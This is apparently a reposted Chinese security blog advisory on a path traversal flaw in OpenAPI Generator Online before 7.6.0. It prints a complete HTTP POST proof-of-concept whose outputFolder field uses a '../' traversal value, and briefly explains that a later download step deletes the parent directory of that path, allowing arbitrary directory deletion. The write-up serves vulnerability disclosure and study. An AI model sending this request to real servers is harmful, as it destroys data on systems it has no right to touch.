POST http://127.0.0.1:8080/api/gen/clients/ruby HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8080/index.html
Content-Type: application/json
Content-Length: 238
Origin: http://127.0.0.1:8080
Connection: close
Cookie: wp-settings-time-1=1710311630; OFBiz.Visitor=10001
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=1
{
"openAPIUrl": "https://raw.githubusercontent.com/OpenAPITools/openapi-generator/master/modules/openapi-generator/src/test/resources/2_0/petstore.yaml",
"options": {"outputFolder":"../../../../../../../../tmp/12345/"},
"spec": {}
}
简单分析
下载文件根据fileid下载,然后会有一个FileUtils.deleteDirectory(file.getParentFile());的操作
Options的outputFolder字段会保存文件的路径。后续下载的时候会去取出来最后做删除 由于没有对outputFolder限制 导致了会删除任意的目录
这里需要一个能生成代码下载的地方,从api上看有两个地方
原文始发于微信公众号(e0m安全屋):OpenAPI Generator Online<7.6.0 存在路径遍历漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论